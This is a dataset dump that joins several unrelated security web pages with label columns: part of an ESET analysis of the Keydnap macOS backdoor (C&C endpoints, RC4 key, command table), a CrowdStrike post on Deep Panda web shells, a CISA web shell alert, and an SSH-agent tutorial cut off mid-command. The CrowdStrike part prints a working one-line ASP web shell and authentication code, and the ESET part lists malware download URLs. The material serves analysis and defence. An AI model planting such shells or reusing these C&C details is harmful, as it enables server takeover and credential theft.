it has root privileges or $USER/Library/LaunchAgents/ otherwise to achieve persistence across reboots. The Library/Application Support/com.apple.iCloud.sync.daemon directory is used to keep the icloudsyncd executable. This directory will also contain the process id of the running malware in process.id and a \xe2\x80\x9cbuild name\xe2\x80\x9d (as it is called by the author) in build.id. With administrator privileges, it will also change the owner of icloudsyncd to root:admin and make the executable setuid and setgid, which means it will always run as root in the future. Figure 7: Property list file in LaunchAgents directory To camouflage the location of the malicious file, Keydnap replaces argv[0] with /usr/libexec/icloudsyncd\xc2 \xe2\x80\x93launchd\xc2 netlogon.bundle. Here is an example of the result of ps\xc2 ax on an infected system: $ ps ax [...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle [...] 1 2 3 4 $ ps ax [...] 566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle [...] Figure 8: Result of ps ax on an infected system Keychain stealing The OSX/Keydnap backdoor is equipped with a mechanism to gather and exfiltrate passwords and keys stored in OS X\xe2\x80\x99s keychain. The author simply took a proof-of-concept example available on Github called Keychaindump. It reads securityd\xe2\x80\x99s memory and searches for the decryption key for the user\xe2\x80\x99s keychain. This process is described in a paper by K. Lee and H. Koo. One of the reasons we think the source was taken directly from Github is that the function names in the source code are the same in the Keydnap malware. Figure 9: Function list of Keydnap backdoor. In green, functions from Keychaindump C&C communication Keydnap is using the onion.to Tor2Web proxy over HTTPS to report back to its C&C server. We\xe2\x80\x99ve seen two onion addresses used in different samples: g5wcesdfjzne7255.onion (Down) r2elajikcosf7zee.onion (Alive at time of writing) The HTTP resource always starts with /api/osx/ and contains actions such as: /api/osx/started to report the bot has just started /api/osx/keychain to exfiltrate the content of the keychain /api/osx/get_task?bot_id={botid}&version={version} to request a task (described below) /api/osx/cmd_executed to report a the output of a command that was executed /api/osx/task_complete?bot_id={botid}&task_id={taskid} to report a task was completed HTTP POST content has two fields: bot_id and data. The data field is encrypted with the RC4 key \xe2\x80\x9cu2RLhh+!LGd9p8!ZtuKcN\xe2\x80\x9d without quotes. When exfiltrating the keychain, the keychain field is used instead of data. POST /api/osx/started HTTP/1.1 Host: r2elajikcosf7zee.onion.to Accept: */* Content-Length: 233 Content-Type: application/x-www-form-urlencoded bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D 1 2 3 4 5 6 7 POST /api/osx/started HTTP/1.1 Host: r2elajikcosf7zee.onion.to Accept: */* Content-Length: 233 Content-Type: application/x-www-form-urlencoded \xc2 bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D Figure 10: Malware sending initial information > rc4decrypt(base64decode(""psX0DKYB0u...5TximyY+QY=""), ""u2RLhh+!LGd9p8!ZtuKcN"") device_model=MacBookPro9,2 bot_version=1.3.5 build_name=elitef*ck os_version=15.5.0 ip_address=4.5.6.7 has_root=0 1 2 3 4 5 6 7 > rc4decrypt(base64decode(""psX0DKYB0u...5TximyY+QY=""), ""u2RLhh+!LGd9p8!ZtuKcN"") device_model=MacBookPro9,2 bot_version=1.3.5 build_name=elitef*ck os_version=15.5.0 ip_address=4.5.6.7 has_root=0 Figure 11: Decoded data sent to C&C The bot_id is constructed by hashing the following values with SHA-256: The hardware UUID (IOPlatformUUID) The system serial number (IOPlatformSerialNumber) The model identifier of the Mac (e.g.:\xc2 MacBookPro9,2) Most actions are self-explanatory. The started command will send the following information to the C&C: device_model: the model identifier (e.g.: MacBookPro9,2) bot_version: version of Keydnap build_name: the \xe2\x80\x9cbuild name\xe2\x80\x9d that was given by downloader os_version: OS X or macOS kernel version ip_address: external IP address as reported by ipify.org has_root: 1 if executed as root, 0 otherwise Backdoor commands The response to get_task contains an integer to identify the type of command and optional arguments. The function named get_and_execute_tasks handles 10 different command types. Command ID Description 0 Uninstall Keydnap and quit 1 Update the backdoor from a base64-encoded file 2 Update the backdoor given a URL 3 Decode and execute a base64-encoded file 4 Decode and execute a base64-encoded Python script 5 Download and execute a file from a URL 6 Download and execute a Python script from a URL 7 Execute a command and report the output back to the C&C server 8 Request administrator privileges the next time the user runs an application 9 Decode and execute, or stop, a base64-encoded file calledauthd_service The last two commands stand out. The command with ID 8 must be sent while Keydnap isn\xe2\x80\x99t running as root already. When issued, the backdoor will start monitoring the user\xe2\x80\x99s process count. When two new processes are created within two seconds, Keydnap will spawn a window asking for the user\xe2\x80\x99s credentials, exactly like the one OS X users usually see when an application requires admin privileges. If the victim falls for this and enters their credentials, the backdoor will henceforth run as root and the content of the victim\xe2\x80\x99s keychain will be exfiltrated. Figure 12: Code performing the process count check Figure 13: icloudsyncd requesting privileges We do not know what the authd_service executable managed by command ID 9 is, because we haven\xe2\x80\x99t seen it used. It could be a third stage malware deployed to certain targets of interest. Conclusion There are a few missing pieces to this puzzle. We do not know at this point how Keydnap is distributed. Nor do we know how many victims there are out there. Although there are multiple security mechanisms in place in OS X to mitigate malware, it\xe2\x80\x99s possible to deceive the user into executing non-sandboxed malicious code by replacing the icon of a Mach-O file. IoCs Samples Downloader All downloaders listed below are detected as OSX/TrojanDownloader.Keydnap.A by ESET products. SHA-1 Filename First seen on VirusTotal Backdoor download URL Decoy description or URL 07cd177f5baf8c1bdbbae22f1e8f03f22dfdb148 ""info_list.txt "" 2016-05-09 hxxp://dev.aneros.com/media/icloudsyncd ""Most Common Interview Questions"" 78ba1152ef3883e63f10c3a85cbf00f2bb305a6a ""screenshot_2016-06-28-01.jpg "" 2016-06-28 hxxp://freesafesoft.com/icloudsyncd BlackHat-TDS Panel screenshot 773a82343367b3d09965f6f09cc9887e7f8f01bf ""screenshot.jpg "" 2016-05-07 hxxp://dev.aneros.com/media/icloudsyncd Firefox 20 about screenshot dfdb38f1e3ca88cfc8e9a2828599a8ce94eb958c ""CVdetails.doc "" 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc 2739170ed195ff1b9f00c44502a21b5613d08a58 ""CVdetails.doc "" 2016-05-03 hxxp://lovefromscratch.ca/wp-admin/css/icloudsyncd hxxp://lovefromscratch.ca/wp-admin/CVdetails.doc e9d4523d9116b3190f2068b1be10229e96f21729 ""logo.jpg "" 2016-06-02 hxxp://dev.aneros.com/media/icloudsyncd sanelite logo 7472102922f91a78268430510eced1059eef1770 ""screenshot_9324 2.jpg "" 2016-06-28 hxxp://freesafesoft.com/icloudsyncd Some C&C panel Backdoor SHA-1 ESET Detection name C&C Version a4bc56f5ddbe006c9a68422a7132ad782c1aeb7b OSX/Keydnap.A hxxps://g5wcesdfjzne7255.onion.to 1.3.1 abf99129e0682d2fa40c30a1a1ad9e0c701e14a4 OSX/Keydnap.A hxxps://r2elajikcosf7zee.onion.to 1.3.5 Backdoor C&C servers hxxps://g5wcesdfjzne7255.onion.to/ hxxps://r2elajikcosf7zee.onion.to/ Keydnap\xe2\x80\x99s IoCs are also available and updated on ESET\xe2\x80\x99s malware-ioc Github repository. Marc-Etienne M.L\xc3\xa9veill\xc3\xa9 6 Jul 2016 - 02:30PM Similar Articles Malware ESET discovered an undocumented backdoor used by the infamous Stealth Falcon group Malware First-of-its-kind spyware sneaks into Google Play Malware In the Balkans, businesses are under fire from a double-barreled weapon Malware Varenyky: Spambot \xc3 la Fran\xc3\xa7aise Discussion Home About Us Contact Us Sitemap Our Experts ESET Research How To Categories RSS Configurator News Widget Privacy policy Legal Information Copyright \xc2\xa9 ESET, All Rights Reserved Back to top","1","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"BLOG Mo\xe2\x80\x99 Shells Mo\xe2\x80\x99 Problems \xe2\x80\x93 Deep Panda Web Shells February 20, 2014RyanJFrom The Front Lines, Research & Threat Intel Blue Disclaimer: CrowdStrike derived this information from investigations in non-classified environments. Since we value our client\xe2\x80\x99s privacy and interests, some data has been redacted or sanitized. Crowdstrike presents \xe2\x80\x9cMo\xe2\x80\x99 Shells Mo\xe2\x80\x99 Problems\xe2\x80\x9d \xe2\x80\x93 A four part series featuring two unique web shells used by a Chinese threat group we call Deep Panda. The series will culminate with a CrowdCast in April 2014 detailing a case study of the incident response investigation conducted to identify these web shells. Special thanks to Josh Phillips of the CrowdStrike Global Intelligence Team for providing the technical analysis in this blog post. Today we\xe2\x80\x99ll cover part one of this series, which provides an overview of what web shells are, functionality of two web shells recently identified during an incident response investigation and how they were leveraged by the attacker. Parts two through four will provide details on successful analytical techniques you can use to discover web shells within your environment: Mo\xe2\x80\x99 Shells Mo\xe2\x80\x99 Problems: Deep Panda Web Shells (Part 1) Mo\xe2\x80\x99 Shells Mo\xe2\x80\x99 Problems: File Stacking (Part 2) Mo\xe2\x80\x99 Shells Mo\xe2\x80\x99 Problems: Web Log Review (Part 3) Mo\xe2\x80\x99 Shells Mo\xe2\x80\x99 Problems: Network Detection (Part 4) A Web Shell is a file containing backdoor functionality written in a web scripting language such ASP, ASPX, PHP or JSP. When a web shell is hosted on an internet facing victim system, an adversary can remotely access the system to perform malicious actions. Deep Panda is a China based threat group CrowdStrike has observed targeting companies in the defense, legal, telecommunication and financial industries. Crowdstrike has observed Deep Panda adopting web shells as their primary access back into a victim organization. This is an interesting shift as web shells have typically been seen as only a first stage into obtaining a persistent foothold in an environment. Previously, web shells were quickly abandoned once persistent second stage malware was successfully beaconing. Using a web shell as a primary backdoor gives Deep Panda several advantages: Low to virtually no detection by antivirus products The absence of command and control beacon traffic Impossible to block known malicious IP addresses to a web server since adversary can easily change their source IP address Cookie and HTTP header authentication aware web shells avoid being enumerated by search engines and restrict access, further reducing their network footprint To assist organizations with identifying web shells in their environment, this post will cover two popular Deep Panda web shells. By gaining insight into their capabilities and footprint, organizations should find it feasible to detect and remediate these backdoors. Showimg.asp Path: E:inetpubwwwroot MD5 Hash: ffa82c64720179878b25793f17b304d7 File Size: 28 Table 1: \xe2\x80\x9cShowimg.asp\xe2\x80\x9d Metadata Showimg.asp is an example of an early stage web shell used to build an initial foothold within a network. After it is replaced by more robust backdoors, it may be left in place as a last resort should remediation take place. At a diminutive 28 bytes, it is one of the smallest Active Server Page (ASP) backdoors in the wild. In a recent case, we witnessed this web shell written to a standalone file (named showimg.asp), but it could easily be injected into an existing page, making it even stealthier. The code for this web shell can be found below: <%execute request(chr(42))%> Table 2: \xe2\x80\x9cShowimg.asp\xe2\x80\x9d Web Shell Script ASP uses Microsoft Visual Basic (VBScript) as its implementation language. The code above uses the chr() function to convert an integer into a character, which is then passed as an argument to the ASP Request() object. The Request() object will search the Query String for any keys matching the input. In our case, the code is equivalent to Request.QueryString(\xe2\x80\x98*\xe2\x80\x99). The request object will look for chr(42) which is an asterisk (*), returning whatever is passed to it in a HTTP GET or POST. Next, the Execute() function will execute any value returned by the lookup. Effectively, an attacker can form a request that will execute any VBScript code. As you might imagine, this is a powerful capability. For example, this code can perform any of the following actions: File upload or download File system read, write, or delete Arbitrary command execution This web shell is an example of a \xe2\x80\x9cthick client\xe2\x80\x9d shell, meaning that while the server side code is quite small, attackers typically use a larger GUI client to construct the sent commands. The client GUI runs on the attacker\xe2\x80\x99s system and hence is not typically found within the victim network. As a simple example of an encoded command, the following GET request would cause the backdoor to execute the code Response.Write(\xe2\x80\x9c

Hello World

\xe2\x80\x9d) and would render \xe2\x80\x9cHello World\xe2\x80\x9d to be printed in the web browser: http:///showimage.asp*=%52%65%73%70%6F% 6E%73%65%2E%57%72%69%74%65%28%22%3C%68%31%3E%48%65 %6C%6C%6F%20%57%6F%72%6C%64%3C%2F%68%31%3E%22%29 Table 3: \xe2\x80\x9cshowimg.asp\xe2\x80\x9d Web Shell Script System_web.aspx Path: C:inetpubwwwrootaspnet_clientsystem_web MD5 Hash: cc875db104a602e6c12196fe90559fb6 File Size: 45187 Table 4: Metadata of \xe2\x80\x9csystem_web.aspx\xe2\x80\x9d System_web.aspx is an excellent example of a more robust web shell used to replace Deep Panda\xe2\x80\x99s traditional beaconing command and control infrastructure. It is an ASP.NET backdoor written in C#, with far more capabilities than we saw with the showimage.asp sample. The web shell supports a form of authentication to protect against unauthorized access. This prevents its discovery from search engine indexing, vulnerability scanning tools and other unauthorized access to the backdoor. In order to bypass authentication, a user session must satisfy one of three options: Pass a cookie with the name Set the Keep-Alive HTTP header to 320 Set language HTTP header to contain es-DN Since web shells are text-based, we can easily see how this authentication takes place: try { Init(); if (!IsUserValid()) { try { int.Parse(Request.Cookies[\xe2\x80\x9cREDACTED\xe2\x80\x9d].Value); Page.Visible = true; } catch (Exception) { Page.Visible = false; Response.Clear(); Response.End(); } } else { Page.Visible = true; Response.SetCookie(new HttpCookie(\xe2\x80\x9cREDACTED\xe2\x80\x9d, DateTime.Now.Second.ToString())); } } catch (Exception) { Page.Visible = false; Response.End(); } private void Init() { try { if (Request.Cookies[\xe2\x80\x9ccp\xe2\x80\x9d] != null) { File.Copy(Request.PhysicalPath, Request.Cookies[\xe2\x80\x9ccp\xe2\x80\x9d].Value, true); Response.Cookies[\xe2\x80\x9ccp\xe2\x80\x9d].Expires = DateTime.Now.AddDays(-1); Response.End(); } } catch (Exception ex) { Log(ex.ToString()); } } private bool IsUserValid() { try { if (Request.Headers[\xe2\x80\x9cKeep-Alive\xe2\x80\x9d] == \xe2\x80\x9c320\xe2\x80\x9d) return true; if (Request.UserLanguages.Length > 0) { foreach (string s in Request.UserLanguages) { if (s.IndexOf(\xe2\x80\x9ces-DN\xe2\x80\x9d) >= 0) return true; } } } catch (Exception) { return false; } return false; } Table 5: \xe2\x80\x9csystem_web.aspx\xe2\x80\x9d Authentication Code First, the code checks if a cookie by the name of cp exists. If so, the response object has its End() method invoked, denying the user access. Next, the code uses the IsValidUser()method and checks the Hyper Text Transport Protocol (HTTP) headers for the Keep-Alive value, which, if equal to 320, will return true. If the value does not equal 320 the IsValidUser()method iterates over the Request.UserLanguages collection searching for a language named es-DN, and if found, the IsValidUser() method will return true. If neither check passes, the code returns false and the code will finally check for the presence of a cookie named . If the cookie is present, the authentication step is satisfied. If not, a blank web page with no content is displayed. After successful authentication, the attacker is provided with the following page: Web Shells System_web.aspx packs a large amount of functionality into a compact interface. It provides the following capabilities: Enumerate attached drives Utilize built in SQL functions to connect to database backend Run SQL queries and statements Download, upload and read files Directory listing Execute Active Directory requests Compile and execute arbitrary C# source code Impersonate a user The web shell supports 8 main commands, with most command execution via Transact-SQL using the xp_cmdshell function. Exec This command depends on the contents of the first unlabeled textbox1. If unlabeledtextbox1 is empty, the code will enumerate attached drives. Provider= or Driver= \xe2\x80\x93 Will connect using the OleDbConnection class. Data Source= \xe2\x80\x93 The code will connect using the SqlConnection class. iis:// \xe2\x80\x93 If this appears in unlabeled textbox1, the code will use data from the second unlabeled textbox2 to execute Active Directory requests. Down This command also depends on the text contained in the unlabeled textbox1. If the field is left empty, the code will assume a valid path to a file on the local machine and will read and display contents to user. Data Source= \xe2\x80\x93 the code will assume that the unlabeled textbox2 contains a valid SQL query and will execute it and display the results. http:// \xe2\x80\x93 If this appears in unlabeled textbox1, download content from the assumed URL. $SEX \xe2\x80\x93 If this appears in unlabeled textbox1, pass the contents to the Server.Execute() method. BF Execute contents in unlabeled textbox1 as a SQL query and return binary data to adversary. GF Execute contents in unlabeled textbox1 as a SQL statement and return valid textual data to adversary. TF Upload the file chosen by the Choose File button and save it to a temporary table in the database file worktbl in chunks of 10240 bytes. Then executes xp_cmdshell (which executes the Bulk Copy Program) to copy the data from that table to a file whose name is specified in unlabeled textbox2. After the file is saved, the code deletes the temporary table. RF If unlabeled textbox1 is a local file on infected system, the file is read and displayed to attacker. \\ \xe2\x80\x93 If unlabeled textbox1 starts with \\, use xp_cmdshell to execute the copy command to copy file to %windir%Temptemp.bin. Then, issue the dir command and display results to user. Finally, delete the temporary file %windir%Temptemp.bin. DIR Perform Active Directory queries. The code handles create, delete, set, get, and enum queries, while any query not matching those is executed directly. All commands are executed using the System.DirectoryServices API. Eva Simple wrapper around the CSharpCodeProvider API, allowing the adversary to compile and execute arbitrary C# source code. Login Checkbox Attempt to use the username, password, and domain from the User, Pass and Domain fields and LogonUserA() Win32 API function to impersonate a specific user. Detatch Checkbox Specifies whether commands run from the Exec button will have their output redirected and displayed to the adversary when the command is finished executing. In short, system_web.aspx provides an adversary with a very stealthy means of near full control of the server on which it resides. This stealth might be its most important attribute. As we will see, identifying web shells can be much harder than finding malicious binaries. In our next post, we will discuss techniques for identifying web shells. Stay tuned for Parts 2-4 as we cover File Stacking, Web Log Review, and Network Detection. In the meantime, register now for the April 1st CrowdCast. Tweet Share CrowdStrike Falcon Free Trial Related Content Student Looking At Three Computer Screens With Ransomware Ransomware Increases the Back-to-School Blues As students all over the United States donned their backpacks and packed their lunches to go\xe2\x80\xa6 SPIDER Adversary Image In Front Of Red Code Who is Salty Spider (Sality)? Common Aliases SALTY SIDER is most commonly identified with the botnet it maintains (Sality) and it\xe2\x80\x99s\xe2\x80\xa6 Laptop With Mobile Threat Landscape Cover Image Webcast: A Deep Dive Into the Mobile Malware Report Trends and Recommendations A new webcast, \xe2\x80\x9cThreat Landscape: Mobile Malware,\xe2\x80\x9d delves into the challenges of securing mobile devices in\xe2\x80\xa6 CATEGORIES ENDPOINT PROTECTION(181) EXECUTIVE VIEWPOINT(95) FROM THE FRONT LINES(86) RESEARCH & THREAT INTEL(138) TECH CENTER(56) CONNECT WITH US CrowdStrike Falcon Free Trial FEATURED ARTICLES How to gain visibility into Mobile Devices September 17, 2019 Ransomware Increases the Back-to-School Blues September 17, 2019 How to use Falcon Insight to get Additional USB Device Visibility September 16, 2019 Using Docker to Do Machine Learning at Scale September 13, 2019 SUBSCRIBE Sign up now to receive the latest notifications and updates from CrowdStrike. SIGN UP See CrowdStrike Falcon in Action Detect, prevent, and respond to attacks\xe2\x80\x94 even malware-free intrusions\xe2\x80\x94at any stage, with next-generation endpoint protection. SEE DEMO Native Java Bytecode Debugging without Source CodeDetails about Apple SSL vulnerability and iOS 7.0.6 patch Copyright \xc2\xa9 2019 CrowdStrike Privacy Request Info Blog Join Our Team Sitemap Contact Us 1.888.512.8906 English","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Skip to main content Toggle navigation US Department of Homeland Security CISA Cyber + Infrastructure National Cyber Awareness System Alerts Compromised Web Servers and Web Shells - Threat Awareness and Guidance More Alerts Alert (TA15-314A) Compromised Web Servers and Web Shells - Threat Awareness and Guidance Original release date: November 10, 2015 | Last revised: August 09, 2017 Print Document Tweet Like Me Share Systems Affected Compromised web servers with malicious web shells installed Overview This alert describes the frequent use of web shells as an exploitation vector. Web shells can be used to obtain unauthorized access and can lead to wider network compromise. This alert outlines the threat and provides prevention, detection, and mitigation strategies. Consistent use of web shells by Advanced Persistent Threat (APT) and criminal groups has led to significant cyber incidents. This product was developed in collaboration with US-CERT partners in the United Kingdom, Australia, Canada, and New Zealand based on activity seen targeting organizations across these countries. The detection and mitigation measures outlined in this document represent the shared judgement of all participating agencies. Description Web Shell Description A web shell is a script that can be uploaded to a web server to enable remote administration of the machine. Infected web servers can be either Internet-facing or internal to the network, where the web shell is used to pivot further to internal hosts. A web shell can be written in any language that the target web server supports. The most commonly observed web shells are written in languages that are widely supported, such as PHP and ASP. Perl, Ruby, Python, and Unix shell scripts are also used. Using network reconnaissance tools, an adversary can identify vulnerabilities that can be exploited and result in the installation of a web shell. For example, these vulnerabilities can exist in content management systems (CMS) or web server software. Once successfully uploaded, an adversary can use the web shell to leverage other exploitation techniques to escalate privileges and to issue commands remotely. These commands are directly linked to the privilege and functionality available to the web server and may include the ability to add, delete, and execute files as well as the ability to run shell commands, further executables, or scripts. How and why are they used by malicious adversaries? Web shells are frequently used in compromises due to the combination of remote access and functionality. Even simple web shells can have a considerable impact and often maintain minimal presence. Web shells are utilized for the following purposes: To harvest and exfiltrate sensitive data and credentials; To upload additional malware for the potential of creating, for example, a watering hole for infection and scanning of further victims; To use as a relay point to issue commands to hosts inside the network without direct Internet access; To use as command-and-control infrastructure, potentially in the form of a bot in a botnet or in support of compromises to additional external networks. This could occur if the adversary intends to maintain long-term persistence. While a web shell itself would not normally be used for denial of service (DoS) attacks, it can act as a platform for uploading further tools, including DoS capability. Examples Web shells such as China Chopper, WSO, C99 and B374K are frequently chosen by adversaries; however these are just a small number of known used web shells. (Further information linking to IOCs and SNORT rules can be found in the Additional Resources section). China Chopper \xe2\x80\x93 A small web shell packed with features. Has several command and control features including a password brute force capability. WSO \xe2\x80\x93 Stands for \xe2\x80\x9cweb shell by orb\xe2\x80\x9d and has the ability to masquerade as an error page containing a hidden login form. C99 \xe2\x80\x93 A version of the WSO shell with additional functionality. Can display the server\xe2\x80\x99s security measures and contains a self-delete function. B374K \xe2\x80\x93 PHP based web shell with common functionality such as viewing processes and executing commands. Delivery Tactics Web shells can be delivered through a number of web application exploits or configuration weaknesses including: Cross-Site Scripting; SQL Injection; Vulnerabilities in applications/services (e.g., WordPress or other CMS applications); File processing vulnerabilities (e.g., upload filtering or assigned permissions); Remote File Include (RFI) and Local File Include (LFI) vulnerabilities; Exposed Admin Interfaces (possible areas to find vulnerabilities mentioned above). The above tactics can be and are combined regularly. For example, an exposed admin interface also requires a file upload option, or another exploit method mentioned above, to deliver successfully. Impact A successfully uploaded shell script may allow a remote attacker to bypass security restrictions and gain unauthorized system access. Solution Prevention and Mitigation Installation of a web shell is commonly accomplished through web application vulnerabilities or configuration weaknesses. Therefore, identification and closure of these vulnerabilities is crucial to avoiding potential compromise. The following suggestions specify good security and web shell specific practices: Employ regular updates to applications and the host operating system to ensure protection against known vulnerabilities. Implement a least-privileges policy on the web server to: Reduce adversaries\xe2\x80\x99 ability to escalate privileges or pivot laterally to other hosts. Control creation and execution of files in particular directories. If not already present, consider deploying a demilitarized zone (DMZ) between your webfacing systems and the corporate network. Limiting the interaction and logging traffic between the two provides a method to identify possible malicious activity. Ensure a secure configuration of web servers. All unnecessary services and ports should be disabled or blocked. All necessary services and ports should be restricted where feasible. This can include whitelisting or blocking external access to administration panels and not using default login credentials. Utilize a reverse proxy or alternative service, such as mod_security, to restrict accessible URL paths to known legitimate ones. Establish, and backup offline, a \xe2\x80\x9cknown good\xe2\x80\x9d version of the relevant server and a regular change-management policy to enable monitoring for changes to servable content with a file integrity system. Employ user input validation to restrict local and remote file inclusion vulnerabilities. Conduct regular system and application vulnerability scans to establish areas of risk. While this method does not protect against zero day attacks it will highlight possible areas of concern. Deploy a web application firewall and conduct regular virus signature checks, application fuzzing, code reviews and server network analysis. Detection Due to the potential simplicity and ease of modification of web shells, they can be difficult to detect. For example, anti-virus products sometimes produce poor results in detecting web shells. The following may be indicators that your system has been infected by a web shell. Note a number of these indicators are common to legitimate files. Any suspected malicious files should be considered in the context of other indicators and triaged to determine whether further inspection or validation is required. Abnormal periods of high site usage (due to potential uploading and downloading activity); Files with an unusual timestamp (e.g., more recent than the last update of the web applications installed); Suspicious files in Internet-accessible locations (web root); Files containing references to suspicious keywords such as cmd.exe or eval; Unexpected connections in logs. For example: A file type generating unexpected or anomalous network traffic (e.g., a JPG file making requests with POST parameters); Suspicious logins originating from internal subnets to DMZ servers and vice versa. Any evidence of suspicious shell commands, such as directory traversal, by the web server process. For investigating many types of shells, a search engine can be very helpful. Often, web shells will be used to spread malware onto a server and the search engines are able to see it. But many web shells check the User-Agent and will display differently for a search engine spider (a program that crawls through links on the Internet, grabbing content from sites and adding it to search engine indexes) than for a regular user. To find a shell, you may need to change your User-Agent to one of the search engine bots. Some browsers have plugins that allow you to easily switch a User-Agent. Once the shell is detected, simply delete the file from the server. Client characteristics can also indicate possible web shell activity. For example, the malicious actor will often visit only the URI where the web shell script was created, but a standard user usually loads the webpage from a linked page/referrer or loads additional content/resources. Thus, performing frequency analysis on the web access logs could indicate the location of a web shell. Most legitimate URI visits will contain varying user-agents, whereas a web shell is generally only visited by the creator, resulting in limited user-agent variants. References Australian Cyber Security Centre \xe2\x80\x93 Securing Content Management Systems (CMS) FireEye China Chopper \xe2\x80\x93 The Little Malware That Could. Detecting and Defeating \xe2\x80\xa6 MANDIANT \xe2\x80\x93 Old Web Shells New Tricks FireEye \xe2\x80\x93 Breaking Down the China Chopper Web Shell Part I FireEye \xe2\x80\x93 Breaking Down the China Chopper Web Shell Part II WSO Information Exploit-db \xe2\x80\x93 China Chopper C99 INFOSEC Institute \xe2\x80\x93 Web Shell Detection Revisions November 10, 2015: Initial Release November 13, 2015: Changes to Title and Systems Affected sections August 9, 2017: Updated c99 link This product is provided subject to this Notification and this Privacy & Use policy. Was this document helpful? Yes | Somewhat | No Contact Us phone icon(888)282-0870 email iconSend us email lock iconDownload PGP/GPG keys Subscribe to Alerts Receive security alerts, tips, and other updates. Enter your email address Enter your email address twitter iconrss icon Home Site Map FAQ Contact Us Traffic Light Protocol PCII Accountability Disclaimer DHS Privacy Policy FOIA No Fear Act Accessibility Plain Writing Plug-ins Inspector General The White House USA.gov CISA is part of the Department of Homeland Security","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Symantec Connect 0 0 Votes SSH and ssh-agent By: brihatch Created 23 Nov 2004 0 Comments by Brian Hatch No one likes typing passwords. If people had their way, computers would simply know who they were and what they should have access to without us proving it at every turn.[1] In my last article I showed you how to create SSH Identities/Pubkeys, which can be used as an alternative to password authentication. However, I then went right back and told you to passphrase protect them, so now you were substituting one password for another, seemingly gaining nothing. This week we have the payoff. We'll take the Identity/Pubkey trust we created last time, and learn how to use the ssh-agent program as our keymaster. We'll decrypt our keys once, put them in into the agent, and have it handle all our authentication needs thereafter. Starting up the Agent To start up the agent you can simply run it on the command line: $ ssh-agent SSH_AUTH_SOCK=/tmp/ssh-OqdW7921/agent.7921; export SSH_AUTH_SOCK; SSH_AGENT_PID=7922; export SSH_AGENT_PID; echo Agent pid 7922; When the agent starts, it writes some information to your screen that you can use to set up your shell's environment variables. In the above example, it is using Bourne shell syntax. If you were in a C-shell, say /bin/csh or /bin/tcsh, then it would have generated the variables differently. If ssh-agent can't determine which shell you are using correctly, you can use the -s or -c arguments to force it to provide Bourne or C-shell syntax, respectively. The /usr/bin/ssh program uses the SSH_AUTH_SOCK environment variable to know how to contact the ssh-agent you're running, so once you run the agent, you should set the variables it provided. The easiest way to do this, and the reason it outputs those variables ready-to-go, is that you can use the shell eval function and backtics (`) to run the agent and the commands it creates, all in one fell swoop: # Note: no ssh agent related variables yet $ set | grep SSH_ # Run it inside backticks, which will capture the output and # pass it to 'eval' which will run it in your current shell. $ eval `ssh-agent` Agent pid 7943 # And now those variables are in your shell, ready to use. $ set | grep SSH_ SSH_AUTH_SOCK=/tmp/ssh-xoGi7942/agent.7942 SSH_AGENT_PID=7943 If you have the SSH_AGENT_PID variable set, you can kill off the agent using ssh-agent -k. You can always kill the daemon manually with the kill command as well. Putting keys into the agent The agent isn't very useful until you've actually put keys into it. All your agent key management is handled by the ssh-add command. If you run it without arguments, it will add any of the 'standard' keys $HOME/.ssh/identity, $HOME/.ssh/id_rsa, and $HOME/.ssh/id_dsa. If your keys are passphrase protected (and they should be!) then it will ask you for the passphrase to decode them. If the keys use the same passphrase, it will only ask you once, which can be convienient.[2] So, let's actually put our keys into the agent: $ ps 